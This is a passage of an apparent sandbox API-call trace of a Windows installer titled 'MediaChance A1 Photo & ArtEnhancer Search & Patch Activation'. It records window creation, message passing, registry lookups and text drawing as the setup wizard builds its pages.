hWnd=0x20318, lpPoint=0x18d934 | out: lpPoint=0x18d934) returned 1 [0263.580] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0x5, wParam=0x0, lParam=0xc9019d) returned 0x0 [0263.580] GetClientRect (in: hWnd=0x2031a, lpRect=0x18d958 | out: lpRect=0x18d958) returned 1 [0263.581] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0x7c, wParam=0xfffffff0, lParam=0x18ed40) returned 0x0 [0263.582] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0x7d, wParam=0xfffffff0, lParam=0x18ed40) returned 0x1 [0263.582] IsIconic (hWnd=0x2031a) returned 0 [0263.582] GetWindowRect (in: hWnd=0x2031a, lpRect=0x18f794 | out: lpRect=0x18f794) returned 1 [0263.582] GetWindowLongA (hWnd=0x2031a, nIndex=-16) returned 1140918340 [0263.582] GetWindowLongA (hWnd=0x2031a, nIndex=-8) returned 131864 [0263.582] ScreenToClient (in: hWnd=0x20318, lpPoint=0x18f794 | out: lpPoint=0x18f794) returned 1 [0263.582] ScreenToClient (in: hWnd=0x20318, lpPoint=0x18f79c | out: lpPoint=0x18f79c) returned 1 [0263.582] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0x5, wParam=0x0, lParam=0xc9019d) returned 0x0 [0263.582] GetClientRect (in: hWnd=0x2031a, lpRect=0x18f7c0 | out: lpRect=0x18f7c0) returned 1 [0263.582] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0x3, wParam=0x0, lParam=0x1a0002) returned 0x0 [0263.582] IsIconic (hWnd=0x2031a) returned 0 [0263.582] GetWindowRect (in: hWnd=0x2031a, lpRect=0x18f798 | out: lpRect=0x18f798) returned 1 [0263.582] GetWindowLongA (hWnd=0x2031a, nIndex=-16) returned 1140918340 [0263.582] GetWindowLongA (hWnd=0x2031a, nIndex=-8) returned 131864 [0263.582] ScreenToClient (in: hWnd=0x20318, lpPoint=0x18f798 | out: lpPoint=0x18f798) returned 1 [0263.582] ScreenToClient (in: hWnd=0x20318, lpPoint=0x18f7a0 | out: lpPoint=0x18f7a0) returned 1 [0263.582] GetWindowThreadProcessId (in: hWnd=0x2031a, lpdwProcessId=0x18f7bc | out: lpdwProcessId=0x18f7bc) returned 0x8cc [0263.582] GetCurrentProcessId () returned 0x8d0 [0263.582] GetPropA (hWnd=0x2031a, lpString=0xc167) returned 0x2c8a564 [0263.582] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0xbe10, wParam=0x31a0001, lParam=0x2031a) returned 0x0 [0263.582] SendMessageA (hWnd=0x2031a, Msg=0xc, wParam=0x0, lParam=0x0) returned 0x1 [0263.582] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0xc, wParam=0x0, lParam=0x0) returned 0x1 [0263.583] IsIconic (hWnd=0x2031a) returned 0 [0263.583] GetWindowRect (in: hWnd=0x2031a, lpRect=0x18fd68 | out: lpRect=0x18fd68) returned 1 [0263.583] GetWindowLongA (hWnd=0x2031a, nIndex=-16) returned 1140918340 [0263.583] GetWindowLongA (hWnd=0x2031a, nIndex=-8) returned 131864 [0263.583] ScreenToClient (in: hWnd=0x20318, lpPoint=0x18fd68 | out: lpPoint=0x18fd68) returned 1 [0263.583] ScreenToClient (in: hWnd=0x20318, lpPoint=0x18fd70 | out: lpPoint=0x18fd70) returned 1 [0263.583] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x1 [0263.583] GetWindowLongA (hWnd=0x2031a, nIndex=-16) returned 1140918340 [0263.583] SendMessageA (hWnd=0x2031a, Msg=0xc5, wParam=0x0, lParam=0x0) returned 0x0 [0263.583] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0xc5, wParam=0x0, lParam=0x0) returned 0x0 [0263.583] SendMessageA (hWnd=0x2031a, Msg=0xb9, wParam=0x0, lParam=0x0) returned 0x0 [0263.583] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0xb9, wParam=0x0, lParam=0x0) returned 0x0 [0263.583] GetSysColor (nIndex=5) returned 0xffffff [0263.583] SendMessageA (hWnd=0x2031a, Msg=0x443, wParam=0x0, lParam=0xffffff) returned 0xffffff [0263.583] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0x443, wParam=0x0, lParam=0xffffff) returned 0xffffff [0263.583] SendMessageA (hWnd=0x2031a, Msg=0x43b, wParam=0x0, lParam=0x0) returned 0x0 [0263.583] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0x43b, wParam=0x0, lParam=0x0) returned 0x0 [0263.583] SendMessageA (hWnd=0x2031a, Msg=0x445, wParam=0x0, lParam=0x4000000) returned 0x0 [0263.583] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0x445, wParam=0x0, lParam=0x4000000) returned 0x0 [0263.583] SendMessageA (hWnd=0x2031a, Msg=0x45b, wParam=0x1, lParam=0x0) returned 0x0 [0263.583] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0x45b, wParam=0x1, lParam=0x0) returned 0x0 [0263.583] SetPropA (hWnd=0x2031a, lpString=0xc167, hData=0x2c8a564) returned 1 [0263.583] SetPropA (hWnd=0x2031a, lpString=0xc168, hData=0x2c8a564) returned 1 [0263.583] SetWindowPos (hWnd=0x2031a, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0263.584] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0x46, wParam=0x0, lParam=0x18fe50) returned 0x0 [0263.584] SendMessageA (hWnd=0x2031a, Msg=0x435, wParam=0x0, lParam=0x7ffffffe) returned 0x0 [0263.584] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0x435, wParam=0x0, lParam=0x7ffffffe) returned 0x0 [0263.584] SendMessageA (hWnd=0x2031a, Msg=0x449, wParam=0x2, lParam=0x18fea4) returned 0x0 [0263.584] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0x449, wParam=0x2, lParam=0x18fea4) returned 0x0 [0263.584] SendMessageA (hWnd=0x2031a, Msg=0x449, wParam=0x1, lParam=0x18fea4) returned 0x291 [0263.584] CallWindowProcA (lpPrevWndFunc=0x71e78279, hWnd=0x2031a, Msg=0x449, wParam=0x1, lParam=0x18fea4) returned 0x291 [0263.585] GetSystemMenu (hWnd=0xc0060, bRevert=0) returned 0x70217 [0263.585] AppendMenuA (hMenu=0x70217, uFlags=0x800, uIDNewItem=0x0, lpNewItem=0x0) returned 1 [0263.585] AppendMenuA (hMenu=0x70217, uFlags=0x0, uIDNewItem=0x270f, lpNewItem="&About Setup...") returned 1 [0263.585] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\A1 Photo & ArtEnhancer_is1", ulOptions=0x0, samDesired=0x101, phkResult=0x18fecc | out: phkResult=0x18fecc*=0x0) returned 0x2 [0263.585] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\A1 Photo & ArtEnhancer_is1", ulOptions=0x0, samDesired=0x101, phkResult=0x18fecc | out: phkResult=0x18fecc*=0x0) returned 0x2 [0263.586] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x8005c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0263.586] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x8005c, Msg=0xd, wParam=0x8, lParam=0x2c8e0f8) returned 0x7 [0263.586] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x8005c, Msg=0xc, wParam=0x0, lParam=0x38ee10) returned 0x1 [0263.586] GetWindowThreadProcessId (in: hWnd=0x8005c, lpdwProcessId=0x18f9f8 | out: lpdwProcessId=0x18f9f8) returned 0x8cc [0263.586] GetCurrentProcessId () returned 0x8d0 [0263.586] GetPropA (hWnd=0x8005c, lpString=0xc167) returned 0x2c84220 [0263.586] GetWindowThreadProcessId (in: hWnd=0x8005c, lpdwProcessId=0x18f9f8 | out: lpdwProcessId=0x18f9f8) returned 0x8cc [0263.586] GetCurrentProcessId () returned 0x8d0 [0263.586] GetPropA (hWnd=0x8005c, lpString=0xc167) returned 0x2c84220 [0263.586] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x8005c, Msg=0xb012, wParam=0x0, lParam=0x0) returned 0x0 [0263.586] GetWindowLongA (hWnd=0x8005c, nIndex=-16) returned 1140916416 [0263.586] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0263.587] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewNotebookPage", lpWndClass=0x18fe64 | out: lpWndClass=0x18fe64) returned 1 [0263.587] CreateWindowExA (dwExStyle=0x0, lpClassName="TNewNotebookPage", lpWindowName=0x0, dwStyle=0x46000000, X=0, Y=0, nWidth=417, nHeight=237, hWndParent=0x40338, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20314 [0263.587] SetWindowLongA (hWnd=0x20314, nIndex=-4, dwNewLong=2297345) returned 4274892 [0263.587] GetWindowLongA (hWnd=0x20314, nIndex=-16) returned 1174405120 [0263.587] GetWindowLongA (hWnd=0x20314, nIndex=-12) returned 0 [0263.587] SetWindowLongA (hWnd=0x20314, nIndex=-12, dwNewLong=131860) returned 0 [0263.587] SetPropA (hWnd=0x20314, lpString=0xc167, hData=0x2c84720) returned 1 [0263.587] SetPropA (hWnd=0x20314, lpString=0xc168, hData=0x2c84720) returned 1 [0263.587] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20314, Msg=0x81, wParam=0x0, lParam=0x18f9bc) returned 0x1 [0263.587] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20314, Msg=0x83, wParam=0x0, lParam=0x18f9a8) returned 0x0 [0263.587] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20314, Msg=0x1, wParam=0x0, lParam=0x18f9bc) returned 0x0 [0263.588] IsIconic (hWnd=0x20314) returned 0 [0263.588] GetWindowRect (in: hWnd=0x20314, lpRect=0x18f7bc | out: lpRect=0x18f7bc) returned 1 [0263.588] GetWindowLongA (hWnd=0x20314, nIndex=-16) returned 1174405120 [0263.588] GetWindowLongA (hWnd=0x20314, nIndex=-8) returned 262968 [0263.588] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f7bc | out: lpPoint=0x18f7bc) returned 1 [0263.588] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f7c4 | out: lpPoint=0x18f7c4) returned 1 [0263.588] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20314, Msg=0x5, wParam=0x0, lParam=0xed01a1) returned 0x0 [0263.588] GetClientRect (in: hWnd=0x20314, lpRect=0x18f7e8 | out: lpRect=0x18f7e8) returned 1 [0263.588] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20314, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0263.588] IsIconic (hWnd=0x20314) returned 0 [0263.588] GetWindowRect (in: hWnd=0x20314, lpRect=0x18f7c0 | out: lpRect=0x18f7c0) returned 1 [0263.588] GetWindowLongA (hWnd=0x20314, nIndex=-16) returned 1174405120 [0263.588] GetWindowLongA (hWnd=0x20314, nIndex=-8) returned 262968 [0263.588] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f7c0 | out: lpPoint=0x18f7c0) returned 1 [0263.588] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18f7c8 | out: lpPoint=0x18f7c8) returned 1 [0263.588] GetWindowThreadProcessId (in: hWnd=0x20314, lpdwProcessId=0x18f7e4 | out: lpdwProcessId=0x18f7e4) returned 0x8cc [0263.588] GetCurrentProcessId () returned 0x8d0 [0263.588] GetPropA (hWnd=0x20314, lpString=0xc167) returned 0x2c84720 [0263.588] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20314, Msg=0xbe10, wParam=0x3140001, lParam=0x20314) returned 0x0 [0263.588] IsIconic (hWnd=0x20314) returned 0 [0263.588] GetWindowRect (in: hWnd=0x20314, lpRect=0x18fd8c | out: lpRect=0x18fd8c) returned 1 [0263.588] GetWindowLongA (hWnd=0x20314, nIndex=-16) returned 1174405120 [0263.588] GetWindowLongA (hWnd=0x20314, nIndex=-8) returned 262968 [0263.588] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18fd8c | out: lpPoint=0x18fd8c) returned 1 [0263.588] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18fd94 | out: lpPoint=0x18fd94) returned 1 [0263.589] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20314, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0263.589] SetPropA (hWnd=0x20314, lpString=0xc167, hData=0x2c84720) returned 1 [0263.589] SetPropA (hWnd=0x20314, lpString=0xc168, hData=0x2c84720) returned 1 [0263.589] SetWindowPos (hWnd=0x20314, hWndInsertAfter=0x20318, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0263.589] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20314, Msg=0x46, wParam=0x0, lParam=0x18fe50) returned 0x0 [0263.589] IsIconic (hWnd=0x20314) returned 0 [0263.589] GetWindowRect (in: hWnd=0x20314, lpRect=0x18fc1c | out: lpRect=0x18fc1c) returned 1 [0263.589] GetWindowLongA (hWnd=0x20314, nIndex=-16) returned 1174405120 [0263.589] GetWindowLongA (hWnd=0x20314, nIndex=-8) returned 262968 [0263.589] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18fc1c | out: lpPoint=0x18fc1c) returned 1 [0263.589] ScreenToClient (in: hWnd=0x40338, lpPoint=0x18fc24 | out: lpPoint=0x18fc24) returned 1 [0263.589] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x20314, Msg=0x47, wParam=0x0, lParam=0x18fe50) returned 0x0 [0263.590] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0263.590] GetClassInfoA (in: hInstance=0x400000, lpClassName="LISTBOX", lpWndClass=0x18fddc | out: lpWndClass=0x18fddc) returned 1 [0263.590] GetClassInfoA (in: hInstance=0x400000, lpClassName="TNewCheckListBox", lpWndClass=0x18fe44 | out: lpWndClass=0x18fe44) returned 0 [0263.590] RegisterClassA (lpWndClass=0x18fddc) returned 0x6ec1e4 [0263.590] CreateWindowExA (dwExStyle=0x200, lpClassName="TNewCheckListBox", lpWindowName=0x0, dwStyle=0x44310161, X=0, Y=61, nWidth=417, nHeight=144, hWndParent=0x20314, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20316 [0263.591] SetWindowLongA (hWnd=0x20316, nIndex=-4, dwNewLong=2297319) returned 4274892 [0263.591] GetWindowLongA (hWnd=0x20316, nIndex=-16) returned 1144062305 [0263.591] GetWindowLongA (hWnd=0x20316, nIndex=-12) returned 0 [0263.591] SetWindowLongA (hWnd=0x20316, nIndex=-12, dwNewLong=131862) returned 0 [0263.591] SetPropA (hWnd=0x20316, lpString=0xc167, hData=0x2c84a68) returned 1 [0263.591] SetPropA (hWnd=0x20316, lpString=0xc168, hData=0x2c84a68) returned 1 [0263.591] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x81, wParam=0x0, lParam=0x18f994) returned 0x1 [0263.591] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x83, wParam=0x0, lParam=0x18f980) returned 0x0 [0263.592] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x1, wParam=0x0, lParam=0x18f994) returned 0x1 [0263.592] IsIconic (hWnd=0x20316) returned 0 [0263.592] GetWindowRect (in: hWnd=0x20316, lpRect=0x18f770 | out: lpRect=0x18f770) returned 1 [0263.592] GetWindowLongA (hWnd=0x20316, nIndex=-16) returned 1144062305 [0263.593] GetWindowLongA (hWnd=0x20316, nIndex=-8) returned 131860 [0263.593] ScreenToClient (in: hWnd=0x20314, lpPoint=0x18f770 | out: lpPoint=0x18f770) returned 1 [0263.593] ScreenToClient (in: hWnd=0x20314, lpPoint=0x18f778 | out: lpPoint=0x18f778) returned 1 [0263.593] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x5, wParam=0x0, lParam=0x7b018c) returned 0x0 [0263.593] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x46, wParam=0x0, lParam=0x18f43c) returned 0x0 [0263.593] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x83, wParam=0x1, lParam=0x18f414) returned 0x0 [0263.593] IsIconic (hWnd=0x20316) returned 0 [0263.593] GetWindowRect (in: hWnd=0x20316, lpRect=0x18f1f8 | out: lpRect=0x18f1f8) returned 1 [0263.593] GetWindowLongA (hWnd=0x20316, nIndex=-16) returned 1141965153 [0263.593] GetWindowLongA (hWnd=0x20316, nIndex=-8) returned 131860 [0263.593] ScreenToClient (in: hWnd=0x20314, lpPoint=0x18f1f8 | out: lpPoint=0x18f1f8) returned 1 [0263.593] ScreenToClient (in: hWnd=0x20314, lpPoint=0x18f200 | out: lpPoint=0x18f200) returned 1 [0263.593] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x47, wParam=0x0, lParam=0x18f43c) returned 0x0 [0263.593] IsIconic (hWnd=0x20316) returned 0 [0263.593] GetWindowRect (in: hWnd=0x20316, lpRect=0x18ed74 | out: lpRect=0x18ed74) returned 1 [0263.593] GetWindowLongA (hWnd=0x20316, nIndex=-16) returned 1141965153 [0263.593] GetWindowLongA (hWnd=0x20316, nIndex=-8) returned 131860 [0263.594] ScreenToClient (in: hWnd=0x20314, lpPoint=0x18ed74 | out: lpPoint=0x18ed74) returned 1 [0263.594] ScreenToClient (in: hWnd=0x20314, lpPoint=0x18ed7c | out: lpPoint=0x18ed7c) returned 1 [0263.594] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x5, wParam=0x0, lParam=0x7b019d) returned 0x0 [0263.594] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x46, wParam=0x0, lParam=0x18ea58) returned 0x0 [0263.595] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x83, wParam=0x1, lParam=0x18ea30) returned 0x0 [0263.595] IsIconic (hWnd=0x20316) returned 0 [0263.595] GetWindowRect (in: hWnd=0x20316, lpRect=0x18e814 | out: lpRect=0x18e814) returned 1 [0263.595] GetWindowLongA (hWnd=0x20316, nIndex=-16) returned 1140916577 [0263.595] GetWindowLongA (hWnd=0x20316, nIndex=-8) returned 131860 [0263.595] ScreenToClient (in: hWnd=0x20314, lpPoint=0x18e814 | out: lpPoint=0x18e814) returned 1 [0263.595] ScreenToClient (in: hWnd=0x20314, lpPoint=0x18e81c | out: lpPoint=0x18e81c) returned 1 [0263.595] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x47, wParam=0x0, lParam=0x18ea58) returned 0x0 [0263.595] IsIconic (hWnd=0x20316) returned 0 [0263.595] GetWindowRect (in: hWnd=0x20316, lpRect=0x18e390 | out: lpRect=0x18e390) returned 1 [0263.595] GetWindowLongA (hWnd=0x20316, nIndex=-16) returned 1140916577 [0263.595] GetWindowLongA (hWnd=0x20316, nIndex=-8) returned 131860 [0263.595] ScreenToClient (in: hWnd=0x20314, lpPoint=0x18e390 | out: lpPoint=0x18e390) returned 1 [0263.595] ScreenToClient (in: hWnd=0x20314, lpPoint=0x18e398 | out: lpPoint=0x18e398) returned 1 [0263.595] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x5, wParam=0x0, lParam=0x8c019d) returned 0x0 [0263.596] GetClientRect (in: hWnd=0x20316, lpRect=0x18e3bc | out: lpRect=0x18e3bc) returned 1 [0263.596] SendMessageA (hWnd=0x20316, Msg=0x18b, wParam=0x0, lParam=0x0) returned 0x0 [0263.596] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x18b, wParam=0x0, lParam=0x0) returned 0x0 [0263.596] SendMessageA (hWnd=0x20316, Msg=0x18e, wParam=0x0, lParam=0x0) returned 0x0 [0263.596] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x18e, wParam=0x0, lParam=0x0) returned 0x0 [0263.596] SendMessageA (hWnd=0x20316, Msg=0x197, wParam=0x0, lParam=0x0) returned 0x0 [0263.596] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x197, wParam=0x0, lParam=0x0) returned 0x0 [0263.597] GetClientRect (in: hWnd=0x20316, lpRect=0x18eda0 | out: lpRect=0x18eda0) returned 1 [0263.597] SendMessageA (hWnd=0x20316, Msg=0x18b, wParam=0x0, lParam=0x0) returned 0x0 [0263.597] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x18b, wParam=0x0, lParam=0x0) returned 0x0 [0263.597] SendMessageA (hWnd=0x20316, Msg=0x18e, wParam=0x0, lParam=0x0) returned 0x0 [0263.597] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x18e, wParam=0x0, lParam=0x0) returned 0x0 [0263.597] SendMessageA (hWnd=0x20316, Msg=0x197, wParam=0x0, lParam=0x0) returned 0x0 [0263.597] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x197, wParam=0x0, lParam=0x0) returned 0x0 [0263.597] GetClientRect (in: hWnd=0x20316, lpRect=0x18f79c | out: lpRect=0x18f79c) returned 1 [0263.597] SendMessageA (hWnd=0x20316, Msg=0x18b, wParam=0x0, lParam=0x0) returned 0x0 [0263.598] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x18b, wParam=0x0, lParam=0x0) returned 0x0 [0263.598] SendMessageA (hWnd=0x20316, Msg=0x18e, wParam=0x0, lParam=0x0) returned 0x0 [0263.598] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x18e, wParam=0x0, lParam=0x0) returned 0x0 [0263.598] SendMessageA (hWnd=0x20316, Msg=0x197, wParam=0x0, lParam=0x0) returned 0x0 [0263.598] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x197, wParam=0x0, lParam=0x0) returned 0x0 [0263.598] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x3, wParam=0x0, lParam=0x3f0002) returned 0x0 [0263.598] IsIconic (hWnd=0x20316) returned 0 [0263.598] GetWindowRect (in: hWnd=0x20316, lpRect=0x18f788 | out: lpRect=0x18f788) returned 1 [0263.598] GetWindowLongA (hWnd=0x20316, nIndex=-16) returned 1140916577 [0263.598] GetWindowLongA (hWnd=0x20316, nIndex=-8) returned 131860 [0263.598] ScreenToClient (in: hWnd=0x20314, lpPoint=0x18f788 | out: lpPoint=0x18f788) returned 1 [0263.598] ScreenToClient (in: hWnd=0x20314, lpPoint=0x18f790 | out: lpPoint=0x18f790) returned 1 [0263.598] GetWindowThreadProcessId (in: hWnd=0x20316, lpdwProcessId=0x18f7bc | out: lpdwProcessId=0x18f7bc) returned 0x8cc [0263.598] GetCurrentProcessId () returned 0x8d0 [0263.598] GetPropA (hWnd=0x20316, lpString=0xc167) returned 0x2c84a68 [0263.598] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0xbe10, wParam=0x3160001, lParam=0x20316) returned 0x0 [0263.598] IsAppThemed () returned 0x1 [0263.598] IsThemeActive () returned 0x1 [0263.598] OpenThemeData () returned 0x1000a [0263.599] IsIconic (hWnd=0x20316) returned 0 [0263.599] GetWindowRect (in: hWnd=0x20316, lpRect=0x18fd6c | out: lpRect=0x18fd6c) returned 1 [0263.599] GetWindowLongA (hWnd=0x20316, nIndex=-16) returned 1140916577 [0263.599] GetWindowLongA (hWnd=0x20316, nIndex=-8) returned 131860 [0263.599] ScreenToClient (in: hWnd=0x20314, lpPoint=0x18fd6c | out: lpPoint=0x18fd6c) returned 1 [0263.599] ScreenToClient (in: hWnd=0x20314, lpPoint=0x18fd74 | out: lpPoint=0x18fd74) returned 1 [0263.599] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x30, wParam=0x290a06a6, lParam=0x1) returned 0x0 [0263.604] SetWindowPos (hWnd=0x20316, hWndInsertAfter=0x0, X=0, Y=61, cx=417, cy=144, uFlags=0x14) returned 1 [0263.604] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x46, wParam=0x0, lParam=0x18fe30) returned 0x0 [0263.604] SetPropA (hWnd=0x20316, lpString=0xc167, hData=0x2c84a68) returned 1 [0263.604] SetPropA (hWnd=0x20316, lpString=0xc168, hData=0x2c84a68) returned 1 [0263.604] SetWindowPos (hWnd=0x20316, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0263.604] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x46, wParam=0x0, lParam=0x18fe58) returned 0x0 [0263.604] SendMessageA (hWnd=0x20316, Msg=0x184, wParam=0x0, lParam=0x0) returned 0x0 [0263.604] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x184, wParam=0x0, lParam=0x0) returned 0x0 [0263.604] InvalidateRect (hWnd=0x20316, lpRect=0x0, bErase=1) returned 1 [0263.604] SendMessageA (hWnd=0x20316, Msg=0x18b, wParam=0x0, lParam=0x0) returned 0x0 [0263.604] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x18b, wParam=0x0, lParam=0x0) returned 0x0 [0263.604] SendMessageA (hWnd=0x20316, Msg=0x18b, wParam=0x0, lParam=0x0) returned 0x0 [0263.605] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x18b, wParam=0x0, lParam=0x0) returned 0x0 [0263.605] SendMessageA (hWnd=0x20316, Msg=0x18b, wParam=0x0, lParam=0x0) returned 0x0 [0263.605] CallWindowProcA (lpPrevWndFunc=0xffff0073, hWnd=0x20316, Msg=0x18b, wParam=0x0, lParam=0x0) returned 0x0 [0263.605] GetClientRect (in: hWnd=0x20314, lpRect=0x18fea8 | out: lpRect=0x18fea8) returned 1 [0263.605] GetClientRect (in: hWnd=0x20314, lpRect=0x18fea8 | out: lpRect=0x18fea8) returned 1 [0263.606] GetClientRect (in: hWnd=0x40338, lpRect=0x18fdd4 | out: lpRect=0x18fdd4) returned 1 [0263.606] IsRectEmpty (lprc=0x18fdd4) returned 0 [0263.606] IsRectEmpty (lprc=0x18fdd4) returned 0 [0263.606] GetDC (hWnd=0x0) returned 0x2a010b57 [0263.606] SelectObject (hdc=0x2a010b57, h=0x640a01f1) returned 0x18a002e [0263.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8e34c, cbMultiByte=1, lpWideCharStr=0x3cc428, cchWideChar=1 | out: lpWideCharStr=" <\x0c") returned 1 [0263.606] DrawTextW (in: hdc=0x2a010b57, lpchText=" <\x0c", cchText=1, lprc=0x18fdb0, format=0x540 | out: lpchText=" <\x0c", lprc=0x18fdb0) returned 13 [0263.607] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0263.607] MulDiv (nNumber=14, nNumerator=13, nDenominator=13) returned 14 [0263.607] GetDC (hWnd=0x0) returned 0x2a010b57 [0263.607] SelectObject (hdc=0x2a010b57, h=0x290a06a6) returned 0x18a002e [0263.607] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8e7ec, cbMultiByte=90, lpWideCharStr=0x2c8e84c, cchWideChar=90 | out: lpWideCharStr="MediaChance A1 Photo & ArtEnhancer Search & Patch Activation : Select Destination LocationII᛼") returned 90 [0263.607] DrawTextW (in: hdc=0x2a010b57, lpchText="MediaChance A1 Photo & ArtEnhancer Search & Patch Activation : Select Destination LocationII᛼", cchText=90, lprc=0x18fdcc, format=0x550 | out: lpchText="MediaChance A1 Photo & ArtEnhancer Search & Patch Activation : Select Destination LocationII᛼", lprc=0x18fdcc) returned 26 [0263.607] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0263.607] MulDiv (nNumber=24, nNumerator=13, nDenominator=13) returned 24 [0263.607] MulDiv (nNumber=75, nNumerator=6, nDenominator=6) returned 75 [0263.607] GetDC (hWnd=0x0) returned 0x2a010b57 [0263.607] SelectObject (hdc=0x2a010b57, h=0x290a06a6) returned 0x18a002e [0263.608] GetTextExtentPoint32A (in: hdc=0x2a010b57, lpString="Browse...", c=9, psizl=0x18fd3c | out: psizl=0x18fd3c) returned 1 [0263.608] MulDiv (nNumber=20, nNumerator=6, nDenominator=6) returned 20 [0263.608] ReleaseDC (hWnd=0x0, hDC=0x2a010b57) returned 1 [0263.608] GetDC (hWnd=0x0) returned 0x2a010b57 [0263.608] SelectObject (hdc=0x2a010b57, h=0x640a01f1) returned 0x18a002e [0263.608] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2c8ea80, cbMultiByte=1, lpWideCharStr=0x3cdc20, 